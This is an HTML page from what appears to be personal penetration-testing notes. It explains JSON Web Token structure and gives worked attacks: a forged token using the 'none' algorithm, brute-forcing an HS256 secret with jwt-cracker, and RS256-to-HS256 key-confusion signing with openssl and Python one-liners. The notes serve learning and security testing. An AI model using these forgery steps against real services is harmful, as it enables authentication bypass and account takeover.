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< ul > < details id = enumeration ontoggle = "linkClick(this); return false;" > < summary > Enumeration< / summary > < ul > < details id = containers ontoggle = "linkClick(this); return false;" > < summary > Containers< / summary > < ul > < / ul > < / details > < details id = docs ontoggle = "linkClick(this); return false;" > < summary > Docs< / summary > < ul > < li > < a href = "/enumeration/docs/aws.html" > aws< / a > < / li > < li > < a href = "/enumeration/docs/cewl.html" > cewl< / a > < / li > < li > < a href = "/enumeration/docs/dns.html" > dns< / a > < / li > < li > < a href = "/enumeration/docs/docker_enumeration.html" > docker_enumeration< / a > < / li > < li > < a href = "/enumeration/docs/ffuf.html" > ffuf< / a > < / li > < li > < a href = "/enumeration/docs/gobuster.html" > gobuster< / a > < / li > < li > < a href = "/enumeration/docs/kerberoast.html" > kerberoast< / a > < / li > < li > < a href = "/enumeration/docs/kubectl.html" > kubectl< / a > < / li > < li > < a href = "/enumeration/docs/ldap.html" > ldap< / a > < / li > < li > < a href = "/enumeration/docs/linux_basics.html" > linux_basics< / a > < / li > < li > < a href = "/enumeration/docs/microk8s.html" > microk8s< / a > < / li > < li > < a href = "/enumeration/docs/nfs.html" > nfs< / a > < / li > < li > < a href = "/enumeration/docs/nikto.html" > nikto< / a > < / li > < li > < a href = "/enumeration/docs/nmap.html" > nmap< / a > < / li > < li > < a href = "/enumeration/docs/port_knocking.html" > port_knocking< / a > < / li > < li > < a href = "/enumeration/docs/rpcclient.html" > rpcclient< / a > < / li > < li > < a href = "/enumeration/docs/rsync.html" > rsync< / a > < / li > < li > < a href = "/enumeration/docs/rustscan.html" > rustscan< / a > < / li > < li > < a href = "/enumeration/docs/shodan.html" > shodan< / a > < / li > < details id = snmp ontoggle = "linkClick(this); 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return false;" > < summary > Exploit< / summary > < ul > < details id = CPUs ontoggle = "linkClick(this); return false;" > < summary > CPUs< / summary > < ul > < li > < a href = "/exploit/CPUs/meltdown.html" > meltdown< / a > < / li > < / ul > < / details > < details id = binaries ontoggle = "linkClick(this); return false;" > < summary > Binaries< / summary > < ul > < li > < a href = "/exploit/binaries/Shellcode.html" > Shellcode< / a > < / li > < li > < a href = "/exploit/binaries/aslr.html" > aslr< / a > < / li > < details id = buffer_overflow ontoggle = "linkClick(this); return false;" > < summary > Buffer_overflow< / summary > < ul > < details id = docs ontoggle = "linkClick(this); return false;" > < summary > Docs< / summary > < ul > < li > < a href = "/exploit/binaries/buffer_overflow/docs/amd64.html" > amd64< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/amd64_instructions.html" > amd64_instructions< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/buffer_overflow.html" > buffer_overflow< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/cut_stack_in_half.html" > cut_stack_in_half< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/pwntools_specifics.html" > pwntools_specifics< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/ret_address_reuse.html" > ret_address_reuse< / a > < / li > < / ul > < / details > < li > < a href = "/exploit/binaries/buffer_overflow/ropping.html" > ropping< / a > < / li > < / ul > < / details > < details id = canary_bypass ontoggle = "l
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< div class = "column column-3" >
< ul >
< li > < a href = "#json-web-token" > JSON Web Token< / a > < ul >
< li > < a href = "#build-up" > Build up< / a > < / li >
< li > < a href = "#none-algorithm-vulnerability" > NONE Algorithm Vulnerability< / a > < / li >
< li > < a href = "#brute-force" > Brute Force< / a > < / li >
< li > < a href = "#hs256-vulnerability" > HS256 Vulnerability< / a > < ul >
< li > < a href = "#build-up_1" > Build Up< / a > < / li >
< / ul >
< / li >
< li > < a href = "#tools" > Tools< / a > < / li >
< / ul >
< / li >
< / ul >
< / div >
< h1 id = "json-web-token" > JSON Web Token< / h1 >
< h2 id = "build-up" > Build up< / h2 >
< div class = "codehilite" > < pre > < span > < / span > < code > header.payload.signature
< / code > < / pre > < / div >
< ol >
< li > < strong > Header< / strong > : This consists of the algorithm used and the type of the token.< / li >
< / ol >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "o" > {< / span > < span class = "s2" > " alg" < / span > : < span class = "s2" > " HS256" < / span > , < span class = "s2" > " typ" < / span > : < span class = "s2" > " JWT" < / span > < span class = "o" > }< / span >
< / code > < / pre > < / div >
< ol >
< li >
< p > < strong > Payload< / strong > : This is part that contains the access given to the certain user etc. This can vary from website to website, some can just have a simple username and some ID and others could have a lot of other details.< / p >
< / li >
< li >
< p > < strong > Signature< / strong > : This is the part that is used to make sure that the integrity of the data was maintained while transferring it from a user's computer to the server and back. This is encrypted with whatever algorithm or alg that was passed in the header's value. And this can only be decrypted with a predefined secret(which should be difficult to)< / p >
< / li >
< / ol >
< h2 id = "none-algorithm-vulnerability" > NONE Algorithm Vulnerability< / h2 >
< ul >
< li > Example with < code > alg: NONE< / code > , so no third part is needed.< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0K.eyJleHAiOjE1ODY3MDUyOTUsImlhdCI6MTU4NjcwNDk5NSwibmJmIjoxNTg2NzA0OTk1LCJpZGVudGl0eSI6MH0K.
< / code > < / pre > < / div >
< ul >
< li > Encoded headers are as follows< ul >
< li > < code > {"type": "JWT", "alg": "none"}< / code >
< code > eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0< / code > < / li >
< li > < code > {"typ":"JWT","alg":"NONE"}< / code > with trailing < code > \n< / code >
< code > eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0K< / code > < / li >
< / ul >
< / li >
< / ul >
< h2 id = "brute-force" > Brute Force< / h2 >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "n" > HMACSHA256< / span > < span class = "p" > (< / span > < span class = "n" > base64UrlEncode< / span > < span class = "p" > (< / span > < span class = "n" > header< / span > < span class = "p" > )< / span > < span class = "o" > +< / span > < span class = "s2" > " ." < / span > < span class = "o" > +< / span > < span class = "n" > base64UrlEncode< / span > < span class = "p" > (< / span > < span class = "n" > payload< / span > < span class = "p" > ),< / span > < span class = "n" > secret< / span > < span class = "p" > )< / span >
< / code > < / pre > < / div >
< ul >
< li > < a href = "https://github.com/lmammino/jwt-cracker.git" > jwt-cracker< / a > < / li >
< / ul >
< p > |Parameter|Details|
|---------|-------|
|Token | The HS256 JWT Token|
|Alphabet |Alphabet used to crack (default:"abcdefghijklmnopqrstuvwxyz")|
|max-length|Secret max length (default: 12)|< / p >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "o" > [< / span > whackx@manbox jwt-cracker< span class = "o" > ]< / span > $ node index.js eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.it4Lj1WEPkrhRo9a2-XHMGtYburgHbdS5s7Iuc1YKOE abcdefghijklmnopqrstuvwxyz < span class = "m" > 4< / span >
Attempts: < span class = "m" > 100000< / span >
Attempts: < span class = "m" > 200000< / span >
Attempts: < span class = "m" > 300000< / span >
SECRET FOUND: pass
Time taken < span class = "o" > (< / span > sec< span class = "o" > )< / span > : < span class = "m" > 11< / span > .605
Attempts: < span class = "m" > 346830< / span >
< / code > < / pre > < / div >
< h2 id = "hs256-vulnerability" > HS256 Vulnerability< / h2 >
< p > It is calculated by using server < code > K_pub< / code > , which may be gained via content of the server cert< / p >
< h3 id = "build-up_1" > Build Up< / h3 >
< ul >
< li > Changing the header to < code > {"typ": "JWT", "alg": "HS256"}< / code > , spaces inbetween values.< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > $ < span class = "nb" > echo< / span > -n < span class = "s1" > ' {" typ" : " JWT" , " alg" : " HS256" }' < / span > < span class = "p" > |< / span > base64
eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJIUzI1NiJ9
< / code > < / pre > < / div >
< ul >
< li > Encoding the payload, no spaces inbetween. Cut < code > ==< / code > at the end.< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "nb" > echo< / span > -n < span class = "s1" > ' {" iss" :" http://localhost" ," iat" :1585323784," exp" :1585323904," data" :{" hello" :" world" }}' < / span > < span class = "p" > |< / span > base64
< span class = "nv" > eyJpc3MiOiJodHRwOi8vbG9jYWxob3N0IiwiaWF0IjoxNTg1MzIzNzg0LCJleHAiOjE1ODUzMjM5MDQsImRhdGEiOnsiaGVsbG8iOiJ3b3JsZCJ9fQ< / span > < span class = "o" > ==< / span >
< / code > < / pre > < / div >
< ul >
< li > Crafting the HMAC signature< ul >
< li > Convert < code > K_pub< / code > file to hex
< code > sh
cat id_rsa.pub | xxd -p | tr -d "\\n"< / code > < / li >
< li > Sign the message to get the signature as hex value
< code > sh
echo -n "eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vbG9jYWxob3N0IiwiaWF0IjoxNTg1MzIzNzg0LCJleHAiOjE1ODUzMjM5MDQsImRhdGEiOnsiaGVsbG8iOiJ3b3JsZCJ9fQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey < converted_public_hex> < / code > < / li >
< li > Decode hex to binary data and reencode as base64 via python
< code > python
python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('< signature_as_hexval> ')).replace('=','')\")"< / code > < / li >
< / ul >
< / li >
< / ul >
< h2 id = "tools" > Tools< / h2 >
< ul >
< li > < a href = "https://github.com/ticarpi/jwt_tool.git" > JWTtool< / a > < / li >
< li > < a href = "https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON%20Web%20Token" > PayloadAllTheThings< / a > < / li >
< li > https://jwt.io< / li >
< / ul >
< / span >
< / div >
< / div >
< div id = "footer" >
< p > < / p >
< center >
© Stefan Friese
< / center >
< / div >
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